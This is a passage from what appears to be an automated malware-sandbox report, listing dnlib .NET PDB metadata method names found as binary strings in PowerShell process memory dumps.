              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000006.00000002.359730346.0000000006190000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp
